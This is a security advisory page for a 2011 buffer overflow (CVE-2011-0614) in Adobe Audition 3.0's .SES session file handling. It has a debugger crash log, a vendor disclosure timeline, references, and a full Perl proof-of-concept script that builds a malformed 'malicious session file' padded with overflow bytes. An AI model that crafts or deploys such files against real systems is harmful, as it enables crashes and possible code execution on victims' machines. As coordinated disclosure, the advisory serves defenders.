Lucene search

Gjoko KrsticZSL-2011-5012

HistoryMay 12, 2011 - 12:00 a.m.

Adobe Audition 3.0 (build 7283) Session File Handling Buffer Overflow PoC

2011-05-1200:00:00

Gjoko Krstic

zeroscience.mk

7.4 High

AI Score

Confidence

Low

0.77 High

EPSS

Percentile

98.2%

JSON

Title: Adobe Audition 3.0 (build 7283) Session File Handling Buffer Overflow PoC
Advisory ID: ZSL-2011-5012
Type: Local/Remote
Impact: System Access, DoS
Risk: (3/5)
Release Date: 12.05.2011

Summary

Recording, mixing, editing, and mastering — Adobe® Audition® 3 software is the all-in-one toolset for professional audio production.

Description

Adobe Audition suffers from a buffer overflow vulnerability when dealing with .SES (session) format file. The application failz to sanitize the user input resulting in a memory corruption, overwriting several memory registers which can aid the atacker to gain the power of executing arbitrary code or denial of service.

--------------------------------------------------------------------------------

` (748.b94): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0321e008 ebx=04386810 ecx=03210478 edx=00000000 esi=00000003 edi=0439080c
eip=0321048b esp=0010e084 ebp=0010e1d8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
+0x321045a:
0321048b 038804210390 add ecx,dword ptr [eax-6FFCDEFCh] ds:0023:9325010c=???
0:000> g
(748.b94): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=00000000 edx=0438cd88 esi=00000009 edi=00000000
eip=075a20f5 esp=0010dec8 ebp=0010e014 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
*** WARNING: Unable to verify checksum for C:\Program Files\Adobe\Adobe Audition 3.0\en_US\PlayerStandard.prm *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe\Adobe Audition 3.0\en_US\PlayerStandard.prm - PlayerStandard!xPlayEntry+0x7785:
075a20f5 8b4804 mov ecx,dword ptr [eax+4] ds:0023:00000004=???
0:000> g
<2964> <Assert> <0> Unhandled Exception caught!
<2964> <Assert> <0> plugin.PrPlayModule playmod:0x0 Threw an unknown EXCEPTION during selector:2

ThreadName: PremiereMain
ThreadID: 2964
CurrentModule: C:\Program Files\Adobe\Adobe Audition 3.0\en_US\PlayerStandard.prm

Press ‘debug’ to re-throw the exception (usually to the debugger).

(748.b94): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07b13a90 ebx=00000000 ecx=04387c90 edx=02cf0608 esi=04387cb8 edi=0438ea98
eip=00978b0e esp=0010e1fc ebp=0010e2d0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** WARNING: Unable to verify checksum for C:\Program Files\Adobe\Adobe Audition 3.0\MediaLayer.dll *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe\Adobe Audition 3.0\MediaLayer.dll - MediaLayer!AlphaToGreyBuffer+0x69d11:
00978b0e 8b08 mov ecx,dword ptr [eax] ds:0023:07b13a90=???
0:000> g
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=7c90de50 edi=00000003
eip=7c90e4f4 esp=0010e5f0 ebp=0010e6ec iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCallRet:
7c90e4f4 c3 ret
`
--------------------------------------------------------------------------------

Vendor

Adobe Systems Incorporated - <http://www.adobe.com>

Affected Version

3.0 (build 7283)

Tested On

Microsoft Windows XP Professional SP3 (EN)

Vendor Status

[18.09.2009] Vulnerability discovered.
[09.03.2010] Vendor contacted with sent PoC files.
[21.03.2010] Another e-mail sent to vendor asking for verification.
[21.03.2010] Vendor replies asking to re-send the details stating that the 1st e-mail didn’t reach them.
[22.03.2010] Sent vulnerability details and PoC files to vendor.
[22.03.2010] Vendor confirms the e-mail arrival and looking into the issue.
[17.07.2010] Sent e-mail to vendor for information update.
[20.07.2010] Vendor confirms vulnerability, promising a fix.
[25.09.2010 - 13.01.2011] Vendor works on schedule update release stating discontinuation of .SES format.
[09.05.2011] Vendor reveals patch release date.
[12.05.2011] Coordinated public security advisory release.

PoC

audition_bof.pl

Credits

Vulnerability discovered by Gjoko Krstic - <[email protected]>

References

[1] <http://www.adobe.com/support/security/bulletins/apsb11-10.html>
[2] <https://vulners.com/cve/CVE-2011-0614>
[3] <http://www.exploit-db.com/exploits/17278/>
[4] <http://www.securityfocus.com/bid/47841>
[5] <http://packetstormsecurity.org/files/101377>
[6] <http://secunia.com/advisories/44588/>
[7] <http://www.vupen.com/english/advisories/2011/1223>
[8] <http://osvdb.org/show/osvdb/72326>
[9] <http://securityreason.com/exploitalert/10426>
[10] <http://securitytracker.com/id/1025530>
[11] <https://www.cert.be/pro/node/7368>
[12] <http://securityreason.com/securityalert/8253>
[13] http://www.nessus.org/plugins/index.php?view=single&id=54606
[14] <http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-0614>

Changelog

[12.05.2011] - Initial release
[13.05.2011] - Added reference [3], [4], [5], [6] and [7]
[14.05.2011] - Added reference [8]
[16.05.2011] - Added reference [9] and [10]
[17.05.2011] - Added reference [11]
[22.05.2011] - Added reference [12] and [13]
[23.05.2011] - Added reference [14]

Contact

Zero Science Lab

Web: <http://www.zeroscience.mk>
e-mail: [email protected]

<html><body><p>#!/usr/bin/perl
#
#
# Adobe Audition 3.0 (build 7283) Session File Handling Buffer Overflow PoC
#
#
# Vendor: Adobe Systems Inc.
# Product web page: http://www.adobe.com/products/audition/
# Affected version: 3.0 (build 7238)
#
# Summary: Recording, mixing, editing, and mastering � Adobe� Audition� 3 software is the
# all-in-one toolset for professional audio production.
#
# Desc: Adobe Audition suffers from a buffer overflow vulnerability when dealing with .SES
# (session) format file. The application failz to sanitize the user input resulting in a
# memory corruption, overwriting several memory registers which can aid the atacker to gain
# the power of executing arbitrary code or denial of service.
#
# Tested on Microsoft Windows XP Professional SP3 (English)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# liquidworm gmail com
# Zero Science Lab - http://www.zeroscience.mk
#
#
# http://img225.imageshack.us/img225/9871/boferror.jpg
#
#
# Zero Science Lab Advisory ID: ZSL-2011-5012
# Zero Science Lab Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5012.php
#
# Adobe Advisory ID: APSB11-10
# Adobe Advisory URL: http://www.adobe.com/support/security/bulletins/apsb11-10.html
#
# CVE ID: CVE-2011-0614
#
#
# 18.09.2009
#


$data = "\x43\x4F\x4F\x4C\x4E\x45\x53\x53\x50\xF2\x08\x00".
	"\x68\x64\x72\x20\xF0\x03\x00\x00\x22\x56\x00\x00".
	"\xFC\x17\x0A\x00\x00\x00\x00\x00\x20\x00\x01\x00".
	"\x00\x00\x00\x00\x00\x00\xF0\x3F\x00\x00\x00\x00".
	"\x00\x00\xF0\x3F\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x00";


$FNAME = "Assassin.ses";

print "\n\n[*] Creating malicious session file: $FNAME ...\r\n";

open(ses, "&gt;./$FNAME") || die "\n\aCannot open $FNAME: $!";

print ses "$data";
sleep(1);

close (ses);

print "\n[*] Malicious session file successfully crafted!\r\n\n";
</p></body></html>